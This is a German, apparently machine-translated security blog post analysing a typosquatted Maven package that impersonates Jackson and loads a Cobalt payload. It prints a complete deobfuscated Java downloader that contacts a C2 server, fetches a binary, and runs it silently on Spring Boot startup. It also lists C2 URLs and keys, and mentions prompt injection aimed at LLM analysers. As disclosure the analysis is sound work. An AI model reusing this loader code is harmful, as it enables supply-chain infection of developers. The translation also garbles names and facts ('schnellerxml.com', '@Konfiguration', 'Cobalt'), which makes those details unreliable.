Heute hat unser Team ein bösartiges Paket identifiziert (org.fasterxml.jackson.core/jackson-databind) auf Maven Central, die sich als legitime Erweiterung der Jackson JSON-Bibliothek tarnt. Das ist ziemlich neuartig, und es ist das erste Mal, dass wir auf Maven Central eine derart ausgeklügelte Malware entdeckt haben. Interessanterweise erfolgt diese Verlagerung des Fokus auf Maven zu einem Zeitpunkt, an dem andere Ökosysteme wie npm ihre Abwehrmaßnahmen aktiv verstärken. Da wir in diesem Ökosystem bisher nur selten Angriffe beobachtet haben, wollten wir diesen Fall dokumentieren, damit die größere Community gemeinsam das Ökosystem schützen kann, solange dieses Problem noch in den Kinderschuhen steckt.
Die Angreifer haben große Anstrengungen unternommen, um eine mehrstufige Payload zu erstellen, mit verschlüsselten Konfigurationsstrings, einem Remote-Befehls- und Kontrollserver, der plattformspezifische ausführbare Dateien liefert, und mehreren Verschleierungsstufen, die die Analyse erschweren sollen. Das Typosquatting funktioniert auf zwei Ebenen: Das bösartige Paket verwendet die org.fasterxml.jackson.core Namespace, während die legitime Jackson-Bibliothek unter com.fasterxml.jackson.coreDies spiegelt die C2-Domäne wider: fasterxml.org im Vergleich zum Realen schnellerxml.com. Das .com zu .org Der Austausch ist subtil genug, um einer oberflächlichen Überprüfung standzuhalten, wird jedoch vollständig vom Angreifer kontrolliert.
Wir haben die Domain an GoDaddy und das Paket an Maven Central gemeldet. Das Paket wurde innerhalb von 1,5 Stunden entfernt.
Die Malware auf einen Blick
Als wir das .jar Datei sahen wir dieses Durcheinander:

Puh, was ist hier überhaupt los? Mir wird schon vom Hinsehen schwindelig!
- Es ist stark verschleiert, wie man unschwer erkennen kann.
- Es enthält Versuche, LLM-basierte Analysatoren durch neue String()-Aufrufe mit Prompt-Injection zu täuschen.
- Wenn man es in einem Editor betrachtet, der escape -Zeichen nicht escape , sieht man viele Störsignale.
Aber keine Sorge, mit ein wenig Hilfe können wir es zu etwas viel Lesbarem entschlüsseln:
package org.fasterxml.jackson.core; // FAKE PACKAGE - impersonates Jackson library
/**
* DEOBFUSCATED MALWARE
*
* True purpose: Trojan downloader / Remote Access Tool (RAT) loader
*
* This code masquerades as a legitimate Spring Boot auto-configuration
* for the Jackson JSON library, but actually:
* 1. Contacts a C2 server
* 2. Downloads and executes a malicious payload
* 3. Establishes persistence
*/
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {
// ============ DECRYPTED CONSTANTS ============
// Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
private static final String AES_KEY = "OBF_DEFAULT_KEYS";
// Secondary encryption key for payloads
private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
// Command & Control server URL (typosquatting fasterxml.com)
private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
// Persistence marker file (disguised as IntelliJ IDEA file)
private static final String PERSISTENCE_FILE = ".idea.pid";
// Downloaded payload filename
private static final String PAYLOAD_FILENAME = "payload.bin";
// User-Agent for HTTP requests
private static final String USER_AGENT = "Mozilla/5.0";
// ============ MAIN MALWARE LOGIC ============
@Bean
public ApplicationRunner autoRunOnStartup() {
return args -> {
executeMalware();
};
}
private void executeMalware() {
// Step 1: Check if already running via persistence file
if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
System.out.println("[Check] Running, skip");
return;
}
// Step 2: Detect operating system
String os = detectOperatingSystem();
// Step 3: Fetch payload configuration from C2 server
String config = fetchC2Configuration();
if (config == null) {
System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
// Translation: "Failed to get current system's Payload configuration"
return;
}
System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
// Translation: "Matched configuration from each HTTP line"
// Step 4: Download payload to temp directory
String tempDir = System.getProperty("java.io.tmpdir");
Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
downloadPayload(config, payloadPath);
// Step 5: Make payload executable on Unix systems
if (os.equals("linux") || os.equals("mac")) {
ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
chmod.start().waitFor();
}
// Step 6: Execute payload with output suppressed
executePayload(payloadPath, os);
// Step 7: Create persistence marker
Files.createFile(Paths.get(PERSISTENCE_FILE));
}
private String detectOperatingSystem() {
String osName = System.getProperty("os.name").toLowerCase();
if (osName.contains("win")) {
return "win";
} else if (osName.contains("mac") || osName.contains("darwin")) {
return "mac";
} else if (osName.contains("nux") || osName.contains("linux")) {
return "linux";
} else {
return "unknown";
}
}
private String fetchC2Configuration() {
try {
URL url = new URL(C2_CONFIG_URL);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("User-Agent", USER_AGENT);
if (conn.getResponseCode() == 200) {
BufferedReader reader = new BufferedReader(
new InputStreamReader(conn.getInputStream())
);
StringBuilder config = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
config.append(line).append("\n");
}
return config.toString();
}
} catch (Exception e) {
// Silently fail
}
return null;
}
private void downloadPayload(String config, Path destination) {
try {
// Config format: "win|http://...\nmac|http://...\nlinux|http://..."
// Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
String os = detectOperatingSystem();
String payloadUrl = null;
// Parse each line of config to find matching OS
for (String encryptedLine : config.split("\n")) {
String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
// Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
String[] parts = line.split("\\|", 2);
if (parts.length == 2 && parts[0].equals(os)) {
payloadUrl = parts[1];
break;
}
}
if (payloadUrl == null) {
return;
}
// Download payload binary
URL url = new URL(payloadUrl);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("User-Agent", USER_AGENT);
if (conn.getResponseCode() == 200) {
try (InputStream in = conn.getInputStream()) {
Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
}
}
} catch (Exception e) {
// Silently fail
}
}
private String decryptAES(String hexEncrypted, String key) {
try {
// Convert hex string to bytes
byte[] encrypted = new byte[hexEncrypted.length() / 2];
for (int i = 0; i < encrypted.length; i++) {
encrypted[i] = (byte) Integer.parseInt(
hexEncrypted.substring(i * 2, i * 2 + 2), 16
);
}
SecretKeySpec secretKey = new SecretKeySpec(
key.getBytes(StandardCharsets.UTF_8), "AES"
);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, secretKey);
byte[] decrypted = cipher.doFinal(encrypted);
return new String(decrypted, StandardCharsets.UTF_8);
} catch (Exception e) {
return "";
}
}
private void executePayload(Path payload, String os) {
try {
ProcessBuilder pb;
if (os.equals("win")) {
// Execute payload, redirect stderr/stdout to NUL
pb = new ProcessBuilder(payload.toString());
pb.redirectOutput(new File("NUL"));
pb.redirectError(new File("NUL"));
} else {
// Execute payload, redirect to /dev/null
pb = new ProcessBuilder(payload.toString());
pb.redirectOutput(new File("/dev/null"));
pb.redirectError(new File("/dev/null"));
}
pb.start();
} catch (Exception e) {
// Silently fail
}
}
private boolean isProcessRunning(String processName, String os) {
try {
Process p;
if (os.equals("win")) {
// tasklist /FI "IMAGENAME eq processName"
p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI",
"IMAGENAME eq " + processName});
} else {
// ps -p <pid>
p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
}
return p.waitFor() == 0;
} catch (Exception e) {
return false;
}
}
// ============ STRING DECRYPTION ============
/**
* Decrypts obfuscated strings
* Algorithm:
* 1. Reverse the key
* 2. Reverse the encrypted string
* 3. Base64 decode
* 4. AES/ECB decrypt
*/
private static String decrypt(String encrypted, String key) {
try {
String reversedKey = new StringBuilder(key).reverse().toString();
String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
SecretKeySpec secretKey = new SecretKeySpec(
reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, secretKey);
byte[] decrypted = cipher.doFinal(decoded);
return new String(decrypted, StandardCharsets.UTF_8);
} catch (Exception e) {
return "";
}
}
}
Malware-Fluss
Hier ist eine Übersicht darüber, wie die Malware funktioniert:
Stadium 0: Infektion. Ein Entwickler fügt die bösartige Abhängigkeit zu seiner pom.xml hinzu, da er glaubt, dass es sich um eine legitime Jackson-Erweiterung handelt. Das Paket verwendet die org.fasterxml.jackson.core Namespace, genau wie die echte Jackson-Bibliothek, um vertrauenswürdig zu wirken.
Stufe 1: Automatische Ausführung. Wenn die Spring Boot-Anwendung startet, sucht Spring nach @Konfiguration Klassen und Fundstücke JacksonSpringAutoKonfiguration. Das @ConditionalOnClass({ApplicationRunner.class}) Check-Pässe (Anwendungsausführer ist in Spring Boot immer vorhanden), sodass Spring die Klasse als Bean registriert. Die Malware Anwendungsausführer wird automatisch nach dem Laden des Anwendungskontexts aufgerufen. Es sind keine expliziten Aufrufe erforderlich.
Stufe 2: Überprüfung der Persistenz. Die Malware sucht nach einer Datei namens .idea.pid im Arbeitsverzeichnis. Dieser Dateiname wurde bewusst so gewählt, dass er sich in die IntelliJ IDEA-Projektdateien einfügt. Wenn die Datei vorhanden ist, geht die Malware davon aus, dass sie bereits ausgeführt wird, und wird stillschweigend beendet.
Stufe 3: Umwelt-Fingerprinting. Die Malware erkennt das Betriebssystem, indem sie Folgendes überprüft: System.getProperty("os.name") und Abgleich mit gewinnen, Mac/Darwin, und nux/Linux.
Stufe 4: C2-Kontakt. Die Malware greift auf http://m.fasterxml[.]org:51211/config.txt, eine Typosquatting-Domain, die die legitime Domain nachahmt. schnellerxml.comDie Antwort enthält AES-verschlüsselte Zeilen, eine pro unterstützter Plattform.
Stufe 5: Nutzlastabgabe. Jede Zeile in der Konfiguration wird mit AES-ECB und einem fest codierten Schlüssel entschlüsselt (9237527890923496). Das Format lautet os|urlZum Beispiel diese Werte, die wir beim Reverse Engineering der Malware gefunden haben:
win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe
mac|http://103.127.243[.]82:8000/http/192he23/update
Die Malware wählt die URL aus, die zum erkannten Betriebssystem passt, und lädt die Binärdatei in das temporäre Verzeichnis des Systems herunter als Nutzlast.bin.
Stufe 6: Ausführung. Auf Unix-Systemen läuft die Malware chmod +x auf der Nutzlast. Anschließend wird die Binärdatei ausgeführt, wobei stdout/stderr umgeleitet wird zu /dev/null (Unix) oder NUL (Windows), um jegliche Ausgabe zu unterdrücken. Die Windows-Nutzlast heißt svchosts.exe, eine absichtliche Typosquatting-Domäne der legitimen svchost.exe Prozess.
Stufe 7: Beharrlichkeit. Schließlich erstellt die Malware die .idea.pid Markierungsdatei, um eine erneute Ausführung bei nachfolgenden Neustarts der Anwendung zu verhindern.
Die Domain
Die Typosquatting-Domain fasterxml.org wurde am 17. Dezember 2025 registriert, nur acht Tage vor unserer Analyse. WHOIS-Einträge zeigen, dass die Domain über GoDaddy registriert und am 22. Dezember aktualisiert wurde, was auf eine aktive Entwicklung der bösartigen Infrastruktur in den Tagen vor der Bereitstellung hindeutet.

Die kurze Zeitspanne zwischen der Registrierung einer Domain und ihrer aktiven Nutzung ist ein gängiges Muster bei Malware-Kampagnen: Angreifer bauen ihre Infrastruktur kurz vor dem Einsatz auf, um das Zeitfenster für die Erkennung und Sperrung zu minimieren. Die legitime Jackson-Bibliothek ist seit schnellerxml.com seit über einem Jahrzehnt, wodurch die .org Variante: eine mit geringem Aufwand verbundene, aber sehr lohnende Imitation.
Die Binärdateien
Wir haben die Binärdateien abgerufen und sie zur Analyse an VirusTotal übermittelt:
Linux/Mac – 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows – 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

Die Linux/macOS-Nutzlast wird von praktisch allen Anbietern von Erkennungssoftware durchweg als Cobalt identifiziert. Cobalt ist ein kommerzielles Penetrationstest-Tool, das umfassende Befehls- und Kontrollfunktionen bietet: Fernzugriff, Erfassung von Anmeldedaten, laterale Bewegung und Bereitstellung von Nutzlasten. Obwohl es für den legitimen Einsatz durch Red Teams entwickelt wurde, ist es aufgrund durchgesickerter Versionen zu einem Favoriten von Ransomware-Betreibern und APT-Gruppen geworden. Sein Vorhandensein deutet in der Regel auf raffinierte Angreifer hin, deren Absichten über einfaches Cryptomining hinausgehen.
Möglichkeiten für Maven Central zum Schutz des Ökosystems
Dieser Angriff zeigt, dass es Möglichkeiten gibt, die Vorgehensweise von Paketregistern gegen Namespace Squatting zu verbessern. Andere Ökosysteme haben bereits Maßnahmen ergriffen, um dieses Problem anzugehen, und Maven Central könnte von ähnlichen Abwehrmaßnahmen profitieren.
Das Präfix-Swap-Problem: Dieser Angriff nutzte eine bestimmte Schwachstelle aus: TLD-ähnliche Präfix-Vertauschungen in der Reverse-Domain-Namensraumkonvention von Java. Die legitime Jackson-Bibliothek verwendet com.fasterxml.jackson.core, während das verwendete bösartige Paket org.fasterxml.jackson.coreDies ist direkt vergleichbar mit Domain-Typosquatting (schnellerxml.com vs fasterxml.org), aber Maven Central scheint derzeit über keinen Mechanismus zu verfügen, um dies zu erkennen.
Dies ist ein einfacher Angriff, und wir rechnen mit Nachahmern.. Die hier vorgestellte Technik: Swapping com. für org. im Namensraum einer beliebten Bibliothek. Dies erfordert nur minimale Fachkenntnisse. Nachdem dieser Ansatz nun dokumentiert wurde, gehen wir davon aus, dass andere Angreifer ähnliche Präfix-Swaps gegen andere hochwertige Bibliotheken versuchen werden. Jetzt ist der richtige Zeitpunkt, um Abwehrmaßnahmen zu implementieren, bevor sich dies zu einem weit verbreiteten Muster entwickelt.
Angesichts der Einfachheit und Wirksamkeit dieses Präfix-Swap-Angriffs möchten wir Maven Central dringend empfehlen, die Implementierung folgender Maßnahmen in Betracht zu ziehen:
- Erkennung von Präfixähnlichkeiten. Wenn ein neues Paket unter
org.BeispielÜberprüfen Sie, obcom.Beispielodernet.Beispielbereits mit erheblichem Download-Volumen vorhanden ist. Wenn ja, zur Überprüfung markieren. Die gleiche Logik sollte umgekehrt und für alle gängigen TLDs (`com, org, net, io, dev`) gelten. - Beliebter Paketschutz. Führen Sie eine Liste mit hochwertigen Namespaces (wie
com.fasterxml,com.google,org.apache) und erfordern eine zusätzliche Überprüfung für alle Pakete, die unter ähnlich aussehenden Namespaces veröffentlicht werden.
Wir teilen diese Analyse im Sinne der Zusammenarbeit. Das Java-Ökosystem war bislang ein relativ sicherer Hafen vor den Lieferkettenangriffe npm und PyPI in den letzten Jahren heimgesucht haben. Proaktive Maßnahmen können nun dazu beitragen, dass dies auch so bleibt.
IOCs
Domains:
fasterxml[.]orgm.fasterxml[.]org
IP-Adressen:
103.127.243[.]82
URLs:
http://m.fasterxml[.]org:51211/config.txthttp://103.127.243[.]82:8000/http/192he23/svchosts.exehttp://103.127.243[.]82:8000/http/192he23/update
Binärdateien:
- Windows-Nutzlast (svchosts.exe):
8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f - macOS-Nutzlast (Update):
702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd
Sichern Sie Ihre Software jetzt.



.avif)
